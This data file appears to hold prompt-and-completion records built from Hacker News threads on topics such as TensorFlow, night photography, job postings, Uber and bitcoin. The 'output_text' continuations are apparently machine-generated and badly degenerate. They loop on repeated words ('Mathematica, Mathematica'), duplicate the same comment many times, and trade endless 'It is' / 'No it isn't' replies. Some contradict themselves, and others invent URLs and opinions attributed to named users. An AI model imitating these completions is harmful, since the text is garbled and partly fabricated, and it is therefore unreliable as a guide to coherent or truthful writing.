master.\n\n~~~\nVikingCoder\nI'm not sure I understand what you're saying.\n\nI'm not saying that Python is more effective than Lua. I'm saying that\nTensorFlow is more effective than Torch.\n\n~~~\njjawssd\nI'm saying that Lua is more effective than Python.\n\n~~~\nVikingCoder\nI'm saying that Torch is more effective", "input_text": " use python2.7 by default, but work hard to\nmake sure that we maintain compatibility. Our tests explicitly run on both\nplatforms - [http://ci.tensorflow.org/](http://ci.tensorflow.org/)\n\n------\nya3r\nI guess this (switching from Torch to other deep learning libraries) will\nbecome a trend as deep learning have become more mainstream in tech companies.\nI say Facebook, Twitter and others who use Torch (I don't know of any others\nactually), will move away from torch gradually. Unless the Torch community\nsteps its game up.\n\n------\nswah\nI'm a layman but I find it quite interesting that a big release such as\nTensorFlow doesn't affect more people outside Google - or at least thats my\nimpression. One would think, at least, that online store recommendations would\nbecome better or something like that.\n\n~~~\nstuartaxelowen\nTensorFlow doesn't make the algorithms more effective, it just makes them\neasier to describe, and recently, more quick to train / test. Also, with the\nkind of predictions Google is making, it's very unlikely that you'd notice\nimprovements, since they would be gradual.\n\n~~~\nVikingCoder\n...but if you want to make your algorithms more effective, you'd probably\nbenefit if they were easier to describe, quicker to train and test, and you'd\nwant to take advantage of gradual improvements. Right?\n\n~~~\njjawssd\nNot so, for the same reason that low level languages are more effective\ncomputationally but less easy to describe and more difficult for code\ndevelopment.\n\nLua is more low level and has an extremely isolated and fractured community\nrelative to the current Python ecosystem. It"} +{"output_text": "www.flickr.com/photos/99251154@N04/22790364795/in/album-72157629373785991/)\n\n~~~\nmatt4077\nI'm not sure I understand your point.\n\nThe images are not over-painted. They are just processed in a way that makes\nthem look like they were taken in a different light.\n\n~~~\nsaiya-jin\nI guess I was", "input_text": " i say\nit was heaviliy processed.\n\n------\nsaiya-jin\nAs a full frame DSLR shooter (Nikon D750 + 20mm F1.8), this is wild\nconsidering those crappy tiny sensors on phones. To get similar (albeit much,\nmuch sharper) results, I have to lug around 2kg of camera and lens plus bulky\ntripod.\n\nEven with this, to get those dark dust clouds and stark colors some heavy\npostprocessing is required (which I mostly don't do because I consider it too\nmuch an alteration of original image, but it creates more interesting image).\nDon't think for a second that those superb images you can see everywhere are\nnot literally over-painted in Photoshop (look at online tutorials on how to do\nit if you don't believe me).\n\nI guess to make things impressive, google guys went to some proper remote\ndesert far from any artificial light. And unless I missed something, they\nstill used some tripod. In european alps, this kind of result is practically\nimpossible - there is always some tiny village in every valley, and even if\nnot light pollution seeps from far. One night panorama I have has quite strong\nglow coming from village of Chamonix some 15km far, that is on the other side\nof massive Mont Blanc range [1]. Anything can be achieved if you start playing\na lot with Photoshop brushes, layers etc. but for me its one step too far.\n\nImagine what results can be had when such algorithms are paired to a full\nframe (or bigger) sensor!\n\n[1]\n[https://www.flickr.com/photos/99251154@N04/22790364795/in/al...](https://"} +{"output_text": "e.g. C++, Python, R, Matlab, Mathematica, Matlab, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica, Mathematica,", "input_text": "C)\n\n------\nenascimento\nPagar.me | S\u00e3o Paulo - Brazil | Full-time | ONSITE\n\nWe're looking for software developers and devops engineers to join our team\nand help us build the best payment system in the galaxy.\n\nIn terms of technology, we use JavaScript(node.js), React, Angular, Go, PHP,\nPostgres, Mongo, AWS.\n\nPlease send your resum\u00e9 to: venhapara@pagar.me\n\nLearn more about us at [https://pagar.me](https://pagar.me)\n\n~~~\nGoodbyeEarl\nnice stack, man. Hate Angular though. Any node.js or mongo? React + Redux, I\npresume, right? I'm from Poa. :) Would love to tackle Go any time.\n\n~~~\nenascimento\nSorry, I forgot to mention, we use node.js and mongo too.\n\nOur actual dashboard uses Angular, and we're building a brand new with React.\n\n~~~\naclsid\nPlease make sure the new one works well with mobile devices. I tried the\ncurrent dashboard but only works in the desktop, looks really nice though even\nif a bit cluttered. But otherwise keep up the good work.\n\n~~~\nenascimento\nAbsolutely, is a mandatory requirement for the future version :)\n\n------\nkassovic\nResearch Data Scientist (w/m) for Applied Biophysics @ Beiersdorf\n\nREQUIREMENTS:\n\n-An extremely good degree in natural sciences, engineering, or IT, plus a doctorate if possible (preferably in computer science, mathematics, or physics)\n\n-Very good theoretical and practical knowledge of mathematics, physics and software / algorithm development ("} +{"output_text": "360-tb-\nof-data/)\n\n------\njlebrech\nI wonder if they can use it to store data in the future.\n\n------\njlebrech\nI wonder if they can use it to store data in the future.\n\n------\njlebrech\nI wonder if they can use it to store data in the future.\n\n------\njlebrech\nI wonder if they can use it to store data in the future", "input_text": "[https://en.wikipedia.org/wiki/BBC_Domesday_Project](https://en.wikipedia.org/wiki/BBC_Domesday_Project)\n\n------\nksec\nFacebook uses BluRay RW Disc for Cold Storage ( Not sure if that is still the\ncase ).\n\nThe question is nearly 4 years later are they anywhere close to production?\n\n------\niandanforth\nI guess I'll have to buy the White Album again.\n\n------\nJVIDEL\nIs this another tech that's \"just around the corner\" like holo-memory from the\nlate 90's?\n\n------\nmyfonj\nTIL glass is not supercooled liquid after all.\n\n~~~\nwongarsu\nThere's a good Veratasium video about that [1]. But the short version is that\nglas is pretty much a solid, and lead is much more liquid at room temperature\nthan glas.\n\n1:\n[https://www.youtube.com/watch?v=c6wuh0NRG1s](https://www.youtube.com/watch?v=c6wuh0NRG1s)\n\n------\nRenRav\nHow does glass being amorphous affect the data integrity? What 'glass'\nspecifically is being used?\n\n~~~\nkragen\nPresumably the amorphous nature of glass lowers the energy barrier to\ndisrupting the stored information. They're using fused quartz glass, as one\ndoes.\n\n------\njody2\narticle from 2016 [https://petapixel.com/2016/02/16/glass-disc-can-\nstore-360-tb...](https://petapixel.com/2016/02/16/glass-disc-can-store-"} +{"output_text": ".\n\nThe article is about the fact that the US government is using the courts to\nsilence people who are critical of the government.\n\nThe article is not about the fact that the US government is using the courts\nto silence people who are critical of the government.\n\nThe article is not about the fact that the US government is using the courts\nto silence people who are critical of the government.\n\nThe article is not about the fact that the US government is using", "input_text": " the people who today find Linux extremely\nimportant, or depend on it without knowing. And there you go, I now made a\n\"direct\" (whatever that means) comparison between Linux and Japanese being put\ninto concentration camps in the US, as well as a \"direct\" comparison between\nLinux and neo-nazis being deplatformed. The point matters more than the\ncomparison used to make it.\n\n~~~\nTheSpiceIsLife\n> The point matters more than the comparison used to make it.\n\nOnly if we assume the soundbite _it's just like when Japanese Americans were\nput in concentration camps_ didn't happen.\n\nThe point could have been made without the comparison, by writing something\nlike this:\n\n _\" Surprisingly few people cared\" is a very poor metric to apply to a\nprinciple of rights and justice._\n\nAnd then we can discuss how _social norms_ and _the legal system_ interact,\nrather than have _this_ conversation.\n\n~~~\nPavlovsCat\nThe complaint wasn't that it was worded poorly, but that a direct comparison\nwas made at all, using kinda spooky language such as \" _It sounds suspiciously\nas if you're drawing a direct comparison_\" and \" _That can 't possibly be an\nargument you really want to make._\".\n\nEnglish isn't my first language, even I had no problem understanding the\nintention of the words, and arguing against the \"strongest plausible\ninterpretation\" is in the guidelines.\n\n> And then we can discuss how social norms and the legal system interact\n\nPersonally I'm content with it being settled that \"few people care\" is an\ninvalid argument.\n\n------\nmattsfrey\nIt seems like many people are caught up in the details here"} +{"output_text": "\n\n[0] [http://www.smh.com.au/federal-politics/political-news/queens...](http://www.smh.com.au/federal-politics/political-news/queensland-\ngovernment-s-IBM-census-project-a-disgrace-20161025-gqj6g.html)\n\n~~~\nrpeden\nThanks for the link.\n\nI'm", "input_text": " a result of \u2018build and see\u2019, rather than any\nkind of logical planning. The design needs a bunch of \u2018prettying\u2019, but\u2026 well,\n70%. And if you find it useful, then great :-)\n\nThe mailing list comment in the join box refers to the fact that I may, at\nsome-point, send a \u2018checkout my site I actually got to 100% on\u2019, but I\u2019m not\nadding anyone to anything now. Feel free to test, use, whatever. There\u2019s a\ndelete option on the settings page - it\u2019ll (permanently) delete everything in\nthe database relating to your account (including any email address before I\u2019ve\nadded it to any kind of list).\n\nSo here you go. Go easy. Feedback welcome!\n\n \nIBM blamed for Australian online census debacle - thedays\nhttp://www.smh.com.au/federal-politics/political-news/census-debacle-laid-bare-malcolm-turnbull-to-decide-which-heads-will-roll-20161025-gsacqc.html\n======\nrpeden\nThere have been some high profile instances over the past few years of\nconsultants (IBM, Accenture, etc.) delivering awful, broken solutions after\nbeing paid big dollars by governments.\n\nCan anyone who has worked at one of these consultancies (or on the procurement\nside in government) shed light on _why_ this keeps happening?\n\n~~~\nguitarbill\nEspecially when IBM Australia has been accused of \"ethical transgressions\" [0]\nin a report by the State of Queensland. Although in that case, part of the\nissue was the government not going after them for damages\ncompetently/aggressively enough."} +{"output_text": "\n~~~\nbillyjobob\nI'm not saying it's true for everyone. I'm saying it's true for most people.\n\n------\njoshu\nI'm not sure what you mean by \"I don't like school work\".\n\nIf you don't like school work, you should be able to find something else to do\nwith your time.\n\nIf you don't like school work, you should be able to find a way to do it\nbetter", "input_text": " want it to.\n\nIt's normal for someone in high school to feel like the OP, especially someone\nwho's a hacker at heart. School limits you in a lot of ways, but you don't\nhave to let it stop you. You just have to realize that the boundaries are self\nimposed. You can do real things. So treat school like a day job, get it out of\nthe way, and do what's interesting to you.\n\n------\nbillyjobob\nSo you don't like school work. You could get higher grades if only you were\nmore motivated...\n\ni.e. you are exactly like every other 16 year old I ever knew.\n\nMost of them because more motivated once they started university and were able\nto focus on what they enjoyed studying. I'd be more worried if you _were_\nmotivated at 16, because then you'd probably burn out, or grow up to be an\nobnoxious brain box.\n\nAlso, since you sound like you are in the UK, you should realise that grades\ndon't matter here. No-one will ever ask what you scored in your maths A-level.\nYour success in life will mostly be determined by the connections your parents\nhave. The only thing you can do to improve your chances is network and make\nsome more connections of your own at university. Plenty of top jobs go to\nthose who graduated with the \"gentleman's third\" because they spent their time\nnetworking rather than studying.\n\n~~~\ncjfont\n> Your success in life will mostly be determined by the connections your\n> parents have\n\nSorry but this statement doesn't ring true to me, because I know of several\ncases where two brothers have had divergent success outcomes based on their\npersonalities and the choices they've made.\n"} +{"output_text": "http://www.nodejscloud.com:8001/>\n\n------\n619Cloud\nI'm in there now. :) Come one, come all.\n\n------\n619Cloud\nI'm in there now. :) Come one, come all.\n\n------\n619Cloud\nI'm in there now. :) Come one, come all.\n\n------\n619Cloud\nI'm in there now. :) Come one, come all.\n\n------", "input_text": "ator.com/munger.html)\n\n \n\nIRC Or Chat Room For YC Winter 2011 Applicants - 619Cloud\n\nIs there an IRC or 37Signals campfire for applicants of the YCombinator Winter 2011? Would be cool to chat with other applicants.\n======\n619Cloud\nEven better, I just spun up a VPS instance, and got the simple, yet functional\nnode.js chat room going on it.\n\nI'm in there now. :) Come one, come all.\n\n\n\nI'll keep it up.\n\n~~~\ngeuis\nThis seems to be where the action is! Come jump in the pool.\n\n~~~\n619Cloud\nYou guys can now access the YC Winter 2011 chat at:\n as well.\n\nSee you there.\n\n------\nzbruhnke\nI'd be interested in the same thing... for anyone else interested feel free\nto shoot me an email (my email address is listed in my profile)\n\nI would love to discuss with other applicants whats going on with their\nprojects, or if they are looking for co-founders etc. I was actually looking\nfor one for my project, however after talking to a YC'er I decided it would be\nbetter to submit as a single founder and look for a like minded co-founder\nalong the way if/when I was accepted\n\n~~~\nserverdude\nsame here - single founder but intend to find another co founder - hopefully\nsoon:) your email is invisible, btw..\n\n------\n619Cloud\nDoing a chat session tonight at 8:30pm [Pacific]. Join us.\n\n<"} +{"output_text": "news = http.get(\"http://news.bbc.co.uk\");\n }\n \n\nIf you're not careful, you can end up with a race condition where the first\nrequest is made, but the second one is still pending.\n\n~~~\nrepolfx\nThat's not a race condition, that's a race condition in the code that's\nrunning the loop. The loop is running in a single thread, so if the first\nrequest is", "input_text": " companies. I don't think that says \"there is no EU based tech firms\"\nbut rather \"There are EU based tech firms! But some of them get bought up by\nUS companies and some stay, but at one point they were all EU based\". So\ndoesn't at all prove the original point.\n\n~~~\nrepolfx\nIn context it is equivalent. This thread is about why the EU wouldn't write a\nlaw that only affects US based tech firms, if that was the intention. Someone\nanswered that there's no need because there are no EU based tech firms worth\nanything (no significant employment or tax revenue).\n\nThat point was correct. The responses all ended up naming either firms that\nare tiny, or which aren't any longer based in the EU (so there's no need to\nprotect them from the effects of bad laws that primarily affect tech firms).\nWhere they _started_ is irrelevant to the discussion because what matters is\n_who pays fines today_.\n\n \n\nStratifiedJS: Javascript + structured concurrency - danh\nhttp://onilabs.com/stratifiedjs\n\n======\nolegp\nIf you prefer vanilla JS and are only working with Node, you should check out\n. I use it in my\n package to address the same issues as\nthose tackled by StratifiedJS.\n\n------\nskrebbel\nI'm probably missing something, but isn't this race condition galore? As per\nthe front page example:\n\n \n \n var news;\n waitfor {\n news = http.get(\"http://news.bbc.co.uk\");\n }\n or {\n "} +{"output_text": " minutes, he was mocked by the Daily Mail as a 'madman'.\"_\n\nI don't think this is a fair criticism. Blair was making a point about the\nthreat of terrorism, and the fact that the threat of terrorism is not\nnecessarily a threat to the UK.\n\n~~~\njamesbritt\n_The idea that at OxBridge it's more about talking than knowing. This was much\nmore true before I was born, a few decades ago. It", "input_text": " great grasp of English culture by the bad generalisations he makes.\n\nWhile I haven't bothered with University, I did go to an expensive private\nschool (a step below the likes of Eton) (fees paid by a scholarship), and I\nhave had some links to Oxford University which technically make me an alumnus\nof an Oxford college and gave me the experience of the university without\nhaving studied there (long story). So I'm pretty familiar with the people this\narticle is trying to talk about. For example I have been in the same class as\nthe son of Peter Hitchens, the brother of Christopher who is mentioned as an\nexample in the article, and also the same class as a boy from the Getty\nfamily.\n\nOverall, I would say that as a country we value talking and arguing highly as\nskills, more so than many countries. It definitely becomes more noticeable the\nhigher you climb on the social ladder, but that is generally just because the\nbetter educated you are, the more practise you get and the more you learn.\nIt's not that middle/upper class education teaches people these things, it's\njust that, as with all subjects, private education tends to give people an\neasier ride.\n\nThe idea that at OxBridge it's more about talking than knowing. This was much\nmore true before I was born, a few decades ago. It's certainly what many\npeople who went to those universities in the 50s-70s would say.\n\n _\"Traditionally, elite Britons then leave education aged 21.\"_ That has\nnothing to do with being \"elite\", simply that the majority of people who go to\nuniversity don't study past their BA.\n\n _\"When Tony Blair hinted that Iraq\u2019s 'weapons of mass destruction' could hit\nLondon within 45"} +{"output_text": " behind.\n\nThe US is going to be a declining power, and the world is going to be a\ngrowing power. The US is going to be a declining power, and the world is going\nto be a growing power. The US is going to be a declining power, and the world\nis going to be a growing power. The US is going to be a declining power, and\nthe world is going to be a growing power. The US is going to be a declining", "input_text": " market who every\none knows are in need of a trade deal.\n\n~~~\nnanomoose\nOn the contrary, the opportunity to access the UK market has much enthusiasm.\n\n~~~\nIkmoIkmo\n> On the contrary, the opportunity to access the UK market has much\n> enthusiasm.\n\nYou're implying that's some kind of great news. I'd say, real estate investors\nhave lots of enthusiasm for sellers threatened with foreclosure. You can frame\nit as positively as you want but at the end of the day the UK's position at\nthe negotiation table is simply weaker, and it's no surprise everyone suddenly\nwants to talk.\n\n~~~\njopsen\n> I'd say, real estate investors have lots of enthusiasm for sellers\n> threatened with foreclosure.\n\nNice, hehe :)\n\nWhile that's definitely nice... there is the possibility that making a\ndisadvantages agreement with the US, China, Canada, etc. is better in the long\nterm.\n\nIt took years for the EU and Canada to reach an agreement. If one of them was\nin a less advantages position maybe it could be done faster... And maybe speed\nis more important than conditions of the agreement, who really knows?\n\nEDIT: okay, the brits perhaps ought to know what disadvantages trade\nagreements can do... given their past experience making them with their\ncolonies :)\n\nI note that the brexit'ers probably didn't want disadvantages trade agreements\n:)\n\n------\nwhack\nThe real story is the one no one has been talking about. The US has been the\nworld's largest economy for the past 100-150 years. In another ~10 years, that\nwill no longer be the case. Every year that passes afterwards, the US is going\nto fall further and further"} +{"output_text": "2_300mm_F2_Lens_Brudgers.pdf\n\n~~~\nntsplnkv2\nI'm not sure what you're trying to say.\n\n------\njedberg\nI'm not sure I agree with the premise of this article.\n\nI think the cloud is a great way to get started with a new project, but once\nyou have a few projects, you'll want to move them to your own data center.\n\n", "input_text": " keep all the data in the failed project achive. The next go will\nhave it's own multiple copies of the same data and so on. They'll just keep\npaying incremental storage charges. Meanwhile, behind the scenes in the cloud\n- automatic, transparent deduplication....\n\n------\nmrwnmonm\nNon-native English speaker here. Could someone write an easier summary,\nplease?\n\n~~~\ntabtab\nSure: \"The cloud doesn't solve common IT problems, only shifts them around,\nand makes some problems worse, such as more vendor-dependency. If you hire\namateurs, you get amateurish results. Renting cloud-based amateurs has all the\nsame problems as in-house (internal) amateurs.\"\n\n~~~\nscarface74\nAnd this \u201cvendor dependence\u201d is somehow different than government depending on\nMicrosoft or even older systems that still depend on IBM mainframes.\n\n~~~\nntsplnkv2\nYou're going a step further in the case of cloud though.\n\nBefore you'd at least hire the sysadmins. Now you rely on probably dirt cheap\noffshore consulting.\n\nIt's just more outsourcing. It comes with scale and as cancer it is just a\nreality. Eventually it will have to be burned down.\n\n~~~\nscarface74\nThey won\u2019t admit it, but many companies move to the cloud not only because\nthey don\u2019t want to deal with administering servers but also because they don\u2019t\nwant to deal with server administrators.\n\nIt\u2019s not like on prem server administrators have a great track record when it\ncomes to security.\n\n \nNikon's 300mm F/2 - brudgers\nhttp://www.company7.com/library/nikon/Nikon_0300f"} +{"output_text": " We are looking for engineers who are\npassionate about testing and automation.\n\nSoftware Engineer, Backend - We are looking for engineers who are passionate\nabout building scalable, high-performance systems. We are looking for\nengineers who are passionate about building scalable, high-performance\nsystems.\n\nSoftware Engineer, Frontend - We are looking for engineers who are passionate\nabout building beautiful, responsive web applications. We are looking for\nengineers who are passionate about building beautiful,", "input_text": " source and being engaged in the wider tech community.\n\nYou can also read about us at [http://tech.iheart.com](http://tech.iheart.com)\n\nPlease apply at [http://jobs.iheart.com](http://jobs.iheart.com) or email us\nat recruitment@iheartradiocareers.com\n\nSoftware Engineer, Web - Along with Facebook and Netflix, iHeartRadio is one\nof the largest React applications around. We are small, focused team committed\nto produce our best work. We are undertaking a major re-architecture of the\niHeartRadio website/Web application, and just open-sourced a number of modules\n[1] as part of this effort. We intend to contribute increasingly more to the\nReact open-source community.\n\nMobile Engineers - Android and iOS - Come work on our flagship mobile\napplications using best of breed frameworks solving real problems at scale.\nYou will also be actively engaged with our Home and Consumer Electronics\nproducts such as Chromecast, Roku, XBOX, etc.\n\nData Engineer - Seeking engineers with a passion for solving large data\nproblems. Our data platform helps provide insights and analytics, reporting,\nbusiness intelligence and many other functions for the business. We rely on\ntooling such as Hadoop, Hive, Kafka, Redshift, Airflow, Spark.\n\nSoftware Engineer, Scala - Come work with a world class engineering team who\nis very active in the Scala community. We have an Akka Cluster based\nmicroservice framework and we are doing some really exciting things at scale\nusing AWS, Docker and a variety of other tooling.\n\nSofware Engineer in Test - Looking for software engineers who love working on\nautomation frameworks and tooling."} +{"output_text": "\ntraining course_. If you are not a trained welder, you are not going to be\nable to click through a training course.\n\n~~~\nst3v3r\nI'm not sure what you're trying to say. I'm not talking about the cost of\nlicensed insurance salespeople. I'm talking about the cost of unlicensed\ninsurance salespeople.\n\n~~~\nyummyfajitas\nI'm talking about the cost of unlicensed", "input_text": " \"next\" sufficiently many times, only then\nare they permitted to take the exam to determine whether they have enough\nknowledge to sell insurance.\n\nShouldn't this scandal also highlight the perils of a regulatory state?\n\n~~~\nmaxerickson\nModest amounts of wasted time? Oh no.\n\nI suppose one way to estimate how onerous this requirement is (I agree that to\nthe extent it is arbitrary that it is dumb) would be to compare how much\ncompensation the insurance license makes available to how much compensation\nspending the equivalent time learning a skill like welding makes available.\n\n(I think most people wouldn't be very good at welding after 50 hours of\ntraining and practice)\n\n~~~\nyummyfajitas\nAll you propose measuring is the _individual_ benefit to sitting through\ntraining. That's a terrible way to measure the social cost of a bad\nregulation.\n\nThe social cost is 52 hours of productive output from moderately skilled\nemployees. (Or moderately less - if learning the material takes 20 hours, then\nthe waste is 32 hours assuming people can simultaneously learn the material\nand click.)\n\nThe right thing to do is simply make people take the test, and if the test\nisn't accurately measuring people's insurance selling ability, fix the test.\n\n~~~\nst3v3r\nAnd what's the social cost of unlicensed, untrained people selling insurance?\nWhat's the societal cost of people who have not studied selling insurance that\nthey might not understand?\n\n~~~\nyummyfajitas\nI don't see a very high social cost from licensed insurance salespeople who\npassed the exam selling insurance. Do you? If so, what is it?\n\nAgain, note that we are discussing _spending 52 hours clicking through a"} +{"output_text": "uchtodo\n> I don't know how you can say they are anything like an employee.\n\nThey are not employees. They are independent contractors.\n\n~~~\nsteven2012\nI don't think they are independent contractors. They are employees. They are\nnot independent contractors because they are not self-employed. They are\nemployees because they are not independent contractors.\n\n~~~\ntoomuchtodo\n> They are not independent contractors because they are not self-employed", "input_text": " the name of being more agile.\n\n~~~\naggieben\n...or simply trading those \"rights\" for the freedom to be responsible for\ntheir own lives. One gives up a lot of freedom to be an employee. That\ntradeoff might be worth it for some people, and not as much for others.\n\n~~~\nskrause\n> _One gives up a lot of freedom to be an employee._\n\nAs an employee I can walk away from my job any time I want and just get\nanother. If I had my own business that would be _way_ harder.\n\nBecause of that I feel actually more free and independent as an employee. You\njust need to make sure to have a good financial buffer so that\nlosing/switching a job won't hurt very much. Then your employer also can't\npressure you too much.\n\n~~~\naggieben\nI feel exactly the opposite: I'm independent now, and I can walk away from my\ncurrent gig without all that much disruption in my life because I don't depend\non an employer for benefits or what have you. While I'm not walking away, I've\ngot more flexibility than I might with an employer (depending on the\nemployer).\n\nYou're 100% right about having a buffer, though. That's a pretty immovable\nprerequisite no matter what your professional situation is.\n\n------\nsteven2012\nI don't think they will win. Every single uber driver I talk to loves it. They\nlove that they can work whenever they want, that they can choose to work for\nLyft or uber, etc. I don't know how you can say they are anything like an\nemployee. There is no negative consequences for not working except less money.\n\n~~~\ntoom"} +{"output_text": " watched 20 minutes).\n\n\\- The video hosting service could be a part of the browser, so that you can\nshare a video without leaving the browser.\n\n\\- The video hosting service could be a part of the browser, so that you can\nshare a video without leaving the browser.\n\n\\- The video hosting service could be a part of the browser, so that you can\nshare a video without leaving the browser.\n\n\\- The video hosting service could be a part of", "input_text": "\u00abungoogle the internet\u00bb[1].\n\nI really wish Mozilla tried doing the same thing, with their much bigger\nmanpower and communication impact.\n\n[1]: [https://degooglisons-internet.org/liste?l=en](https://degooglisons-\ninternet.org/liste?l=en)\n\n~~~\nFeniks\nUn Google the internet? I hope so but almost every remotely commercial site\nout there uses Google services.\n\n~~~\nlittlestymaar\nPeople use Google's services (and other privately owned, and \u00abyou are the\nproduct\u00bb, ones) because it's the most convenient way they know about.\nSometimes it's because it's the most convenient way (lack of credible\ncompetition, self-hosting isn't an option for many companies), and sometimes\nit's because the alternatives are less known (commercial products based on\nOpenStreetMap are way better than what google maps offer, but few people know\nabout them).\n\nAn organization like Mozilla could make open-source-based and privacy-aware\nservices for many Google products with ease if they wanted to. (I mean,\nFramasoft is doing it already and it's a really tiny French non-profit\norganization!)\n\n------\nthat_guy1\nI think for this to be successful you need to encourage users to server the\nvideos. There are a couple things that might help this:\n\n\\- Popularity could be based not only on views, but how many total minutes of\nthe video were shared by other people.\n\n\\- When someone watches a video, they have to keep hosting it until they share\nas much as they've watched it (so if they watched 10 minutes, they have to\nshare it until they've"} +{"output_text": "\nIt is a ponzi scheme.\n\n~~~\ndantheman\nNo it isn't.\n\n~~~\njasonrr\nIt is.\n\n~~~\ndantheman\nNo it isn't.\n\n~~~\njasonrr\nIt is.\n\n~~~\ndantheman\nNo it isn't.\n\n~~~\njasonrr\nIt is.\n\n~~~\ndantheman\nNo it isn't.\n\n~~~", "input_text": " more than going there.\n\n~~~\nzaidf\n_It worked on the novelty effect and it was doomed to fail._\n\nA little premature to write an obituary of a company that finished 2011 with\n1.6B in revenue.\n\n~~~\nohashi\n1.6B in revenue is pretty meaningless if you're not even making a profit. They\nare simply really good at losing a lot of money.\n\n~~~\nzaidf\nIt's \"scary\" and \"even\" dangerous one may say, but _not_ meaningless.\n\n~~~\nohashi\nYou are correct, it's not meaningless, I should have said: Simply having\nrevenue isn't a defense for a company if they are spending more money than\nthey are bringing in.\n\n------\nsnorkel\nWho would guess that there could be an integrity issue with a company that\ntried to invent new accounting rules where marketing costs don't appear on the\nbalance sheet? You'd have a crystal ball or a brain to see this coming.\n\n~~~\nlubos\nMarketing costs are not supposed to appear on balance sheet.\n\nI don't really watch this company but if I remember correctly, their way of\ndoing accounting was to show all received money from customers as income\ninstead of liabilities since they were collecting half of it on behalf of\nvendors.\n\nThey were simply inflating their revenue but it's not like it matters, because\nprofit (loss) would be always the same regardless.\n\n------\nbfrog\nPlease. As if anyone with half a brain couldn't see this ponzi scheme on the\nblowup train of doom. Who are these magical investors?\n\n~~~\ndantheman\nIt's not a ponzi scheme.\n\n~~~\njasonrr"} +{"output_text": " burgers.\n\nI'm not going to let this one get me down. I'm going to keep on looking.\n\n------\njoshu\nI'm in a similar situation. I'm in a slump, but I'm not sure if it's a\nslump. I'm not sure if I'm just not motivated. I'm not sure if I'm just\nstuck.\n\nI'm not sure if I'm just not good enough.\n\nI'm", "input_text": " right now?\nTo the detriment of my long term health or do I eat the kale forfeiting short\nterm pleasure and gaining long term pleasure?\n\nYour model has no predictive power.\n\n------\norasis\nTravel the world. Ignore these asshats that try to guilt trip you into working\nthrough your slump.\n\n------\nclipityclapity\nHere's my story.\n\nTwo years ago, I dropped out of a mathematically oriented master's. Let's say\nI quit because I wanted to found a company. That's what I tell everybody. And\nthat's what I did.\n\nI can get into the details of why it didn't work, but I'll tell you something\nhere, something which, until now, I have only written down in places nobody\nwould read it: I might have been running from reality. Using the company as a\nhide-out. \"Maybe this will give me a purpose?\"\n\nWe pulled the plug when we were forced to realize that it was a dead end.\n\nPause six months. Rethink life. Winter, not a good time.\n\nMoved to another country and tried again. It went better, but still not good\nenough.\n\nAgain, six months of nothing. Winter.\n\nTravel. Maybe languages are my thing? Different cultures? Get lost. Come back.\n\nWinter.\n\nThis time, I'm not letting it steal six months. I'm trying for another project\n(Show HN soon), I'm going on another travel, and I'll keep on looking, because\nI know one thing: an office will be the death of me. Unfortunately,\nprogramming is generally done in offices.\n\nBut there's always that doubt. Got some freelance jobs to make ends meet.\nFlipping"} +{"output_text": "'m not sure why people are so obsessed with wood.\n\n~~~\njessaustin\nI'm not sure why people are so obsessed with concrete.\n\n~~~\nMrFantastic\nI'm not sure why people are so obsessed with wood.\n\n------\njessaustin\nI'm not sure why people are so obsessed with wood.\n\n~~~\njessaustin\nI'm not sure why people are so obsessed with concrete.\n\n~~~\nMr", "input_text": " it's covered, how can you tell when there's damage?\n\nWe recently had seismic plywood shear walls installed in our soft story\ngarage, holding up our 2 stories of living space. A previous owner actually\nhad shear walls installed in 1992, after the 1989 Loma Prieta earthquake. But\nthe '92 retrofit used the wrong grade of plywood, and used screws instead of\nnails. Screws have poor shear strength. The panels were basically useless for\nseismic safety and had to be replaced.\n\nThe 90-year-old redwood studs looked surprisingly pristine. But one of the\nstuds had some kind of termite or fungal damage. The entire stud, top to\nbottom, basically disintegrated in your hands; but everything else was in\nperfect shape, including the sills. There were no outward signs of this at all\n--neither on the stud itself, on adjacent studs, nor the top or bottom sill\nplates. It was bizarre. And it would have gone totally unnoticed and maybe\neven spread, completely undetected, had the old panels not been removed.\n\nThe shear walls weren't the only things improperly installed. The 1992\nfoundation bolts didn't use adequately sized washers, so with enough movement\nthe bolt heads would have ripped through the sill plate. Again, this was\nhidden behind the wall panels.\n\nI grew up in Florida trailer parks. To me anything covered is hiding something\n--cockroaches, termites, substandard construction. Were there no need for the\nshear walls, I'd much prefer to have exposed studs and a completely exposed\nsill plate, at least in the garage.\n\n------\nMrFantastic\nConcrete buildings can last for centuries. There are few wood buildings that\nlast that long.\n\nI"} +{"output_text": "black box\" then it\nbecomes very difficult to tax.\n\n~~~\nsremani\nI am not sure if you are aware of the fact that India has a very good tax\nsystem.\n\n~~~\ntankenmate\nI am aware of the fact that India has a very good tax system. I am also aware\nof the fact that the tax system is not perfect.\n\n------\nsremani\nI am not sure if you are aware", "input_text": " recourse to customer problems / disputes / charge\nbacks etc.\"\n\nAnd stopping payments is not the right way to address customer problems.\n\n~~~\nINTPenis\nYes and further I think every single bullet point can be said about regular\nmoney.\n\nBanks are not invulnerable to hacking.\n\nIf you get hustled for your pocket money in the street then the police will\nhave to find the perpetrator with any means at hand. Just because it's an\nelectronic currency does not mean anything is different here.\n\nAre they trying to say that every single Indian citizen could withdraw their\nmoney as gold or some equally valuable substance that they can equate to cash\nmoney in society?\n\nWealth truly knows no god and no master, nor any border.\n\nBeware of the propaganda, fear what you don't understand.\n\n~~~\ntechtivist\nThis! Exactly the point I made above! Same issues plague \"traditional\" banks\nand RBI has imposed very limited liabilities on Bank or even safeguards like\nthis one\n[https://www.pcisecuritystandards.org/security_standards/](https://www.pcisecuritystandards.org/security_standards/).\nSo if the Target fiasco had happened in India, Target would have minimum if\nany liabilities. Why do you think \"cash on Delivery\" is such a big thing in\nIndia. Consumers are paranoid, not just because it's their habit, they just\nfeel vulnerable with no recourse even with traditional banking.\n\n------\ntankenmate\nThe main reason that India is concerned about this is it's ability to tax\nforeign income of resident Indians. If bitcoin or other VCs allow people to\nearn money overseas and then get paid in a complete \""} +{"output_text": " the market for decades.\n\n~~~\njoezydeco\n_What the article shows is not that Microsoft is inept, but rather that they\nare able to create an internal unit with many elements of a startup, scale\nthat unit massively, and then transition it into a solid corporate structure\ncapable of surviving over the long term_\n\nI think you're missing the point. The article is about Microsoft's inability to\ninnovate.\n\n~~~\nbr", "input_text": "their massive earnings from the glory days or they're just looking for\nsomewhere else to be that's a better use of their time and talent.\n\nMS continues to make a crap-ton of money from its core products, but it will\nbe institutionally ham-strung in responding to the threats that will steal\naway that revenue (such as 